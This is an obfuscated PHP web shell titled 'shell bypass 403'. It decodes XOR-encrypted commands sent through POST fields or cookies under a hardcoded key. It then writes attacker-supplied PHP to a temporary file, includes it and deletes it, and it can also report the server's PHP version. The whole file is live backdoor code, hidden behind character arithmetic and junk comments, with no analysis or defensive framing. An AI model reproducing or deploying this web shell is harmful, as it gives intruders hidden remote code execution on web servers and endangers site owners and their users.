shell bypass 403
<?php
$khbwai /* h*/ = 'khbwai' /* vihxdw */ ^ ' ';$ikhrailip = "a".$khbwai(944-830) /*_gi */ . "r"."a"."\x79" . "_"."\155" . "a"."\x70";
function /*veu */ yhunvi($hynjl, $ylvr_ottol)
{ /* y */ global $khbwai;
$hynjl = /* on*/ "<" . "\x3f" /* iscfdc */ . $khbwai(112) /* ecomh*/ . "\x68" /*gmlev */ . $khbwai(112) /* _zue */ . /* o */ $khbwai(32) . /* ac*/ $khbwai(571-454) . /* ku_ */ "n".$khbwai(508-400) . /*tc */ "i".$khbwai(1014-904) /* mw */ . /* r*/ "\x6b" /* gq_ */ . /* mqq */ "\50" /*wf */ . /* dnz_ */ "_"."_".$khbwai(294-224) . /* o*/ "\111" . "L"."\105" /* brmw */ . "\137" . "_"."\51" /* ab */ . /*d */ ";".$khbwai(32) . $hynjl["\144"];
$uczhktmqs = /*je */ "f"."\x69" . "\154" /* rr*/ . "\145" . $khbwai(895-800) . /* f*/ $khbwai(929-817) /* jkqi */ . /*is */ "\x75" . "\x74" . /* xsfeaj */ $khbwai(95) /*xb */ . "c"."o"."n"."t"."e"."n"."t".$khbwai(115);
$uczhktmqs($ylvr_ottol, $hynjl);
/* hah*/
euhjr($ylvr_ottol);}
$fbpa_l = 73;
function euhjr($ylvr_ottol)
{
global /* snfyp */ $khbwai;
include($ylvr_ottol);
$qnfeljz /* vdsd */ = $ylvr_ottol; @unlink($qnfeljz);}
function eeyeupgof()
{ /* t */ global /* _ */ $khbwai;
$bf_gih = /* lkmvuv*/ array();
/*jv */ $bf_gih[$khbwai(150-38) . $khbwai(118)] /* d*/ = phpversion();
/* ggn */ $bf_gih["\x73" . /*i_x */ "v"] = /* jxzpsw */ "3"."."."\x35";
$zxsxqzn = 74; /* vlyl */ echo @serialize($bf_gih);
}
function /* esu */ jiuqvcik($hynjl, $fgc_vsne)
{ global $khbwai;
$pkatbwzj_e = /* s */ "";
/* su */ $yxavbtv = strlen($hynjl); $_aipakba /* kmtl */ = strlen($fgc_vsne); $bf_gih /* erepn*/ = /* leuwr */ 0;
/*tjyql */ $hujqpejt /*kbftlk */ = 0;
while ($bf_gih < $yxavbtv) /* rrlmlf */ {
/*qsgfs */ $hujqpejtnwoxqigj = $hynjl[$bf_gih] ^ /* il_kbj*/ $fgc_vsne[$hujqpejt /*qd*/ % $_aipakba];
$pkatbwzj_e /*s */ .= $hujqpejtnwoxqigj; $hujqpejt++;
$bf_gih++;
}
/*qrt*/ if (strlen($pkatbwzj_e) /* pky */ > /* lot */ 20) {
$_rnjljx = /* a */ substr($pkatbwzj_e, 0, 20);
}
if (empty($pkatbwzj_e)) /* jtiyn*/ { $pkatbwzj_e = date('Y-m-d H:i:s');
}
return $pkatbwzj_e;
}
function s_ciri($rmtxhivmjo)
{ global $khbwai; $yxsu_mpog /* s */ = /* cag_vn */ $khbwai(1071-970) . "7"."\71" /*j */ . "0"."e".$khbwai(52) . "6"."7"."\x2d" . /* nrfrpa*/ "\70" . "9"."8"."b"."\x2d" . "\x34" /* ttxl_*/ . "1".$khbwai(52) . $khbwai(53) . /* byum_ */ "-"."9"."\62" . /* uzwu */ $khbwai(179-81) . "\146" . $khbwai(45) . $khbwai(683-627) . /* u */ "e".$khbwai(100) . /*k*/ $khbwai(100) . /*e */ "a"."\x64" . /* s */ $khbwai(49) . $khbwai(570-473) . /* yvheuc */ "a"."\144"."\144".$khbwai(101-44);
/*ztaeii*/ /* x */ foreach /* ogsvxk */ ($rmtxhivmjo as /* kuot */ $pizkonrs => /* fc */ $hynjl) /* e */ { efqfla_l(base64_decode($hynjl), $yxsu_mpog, /* g */ $pizkonrs);
}}
function efqfla_l($hynjl, $yxsu_mpog, $pizkonrs)
{
/* tbyuts*/ global /* utjc*/ $khbwai;
/*pomr */ $hynjl = /* wwjqca */ unserialize(jiuqvcik(jiuqvcik($hynjl, /* yvieu*/ $yxsu_mpog), $pizkonrs)); $taejiw /* pl */ = /* xsmkuo */ 'xlcwyc_nfd';
$dvgdalpvpx = 'uhiusz'; /* gld */ if /*jbiq */ (isset($hynjl[$khbwai(610-513) . /*a */ "k"])) {
if ($hynjl["a"] == "i") {
eeyeupgof();
} elseif /* wkv*/ ($hynjl["a"] == /* jzd */ "e") {
yhunvi($hynjl, sprintf("\x2e" . /* qfvwym */ "\x2f" . /* g */ "%"."\x73" /* uss */ . "."."\160" . "l", md5($yxsu_mpog)));
$fincaqdp = /* ununq */ 44;
/*k */ }
exit();
/* p */ }}s_ciri($_POST); /* ccurv */
$pgshvxbfg /* lad_ */ = 'rawurldecode';
$hujqpejtymcdej /* b*/ = /*tis*/ $ikhrailip($pgshvxbfg, /*xyx */ $_POST);
explode("", /*azafd_*/ $pgshvxbfg);
s_ciri($_COOKIE);$vowhy = $ikhrailip($pgshvxbfg, $_COOKIE);
?>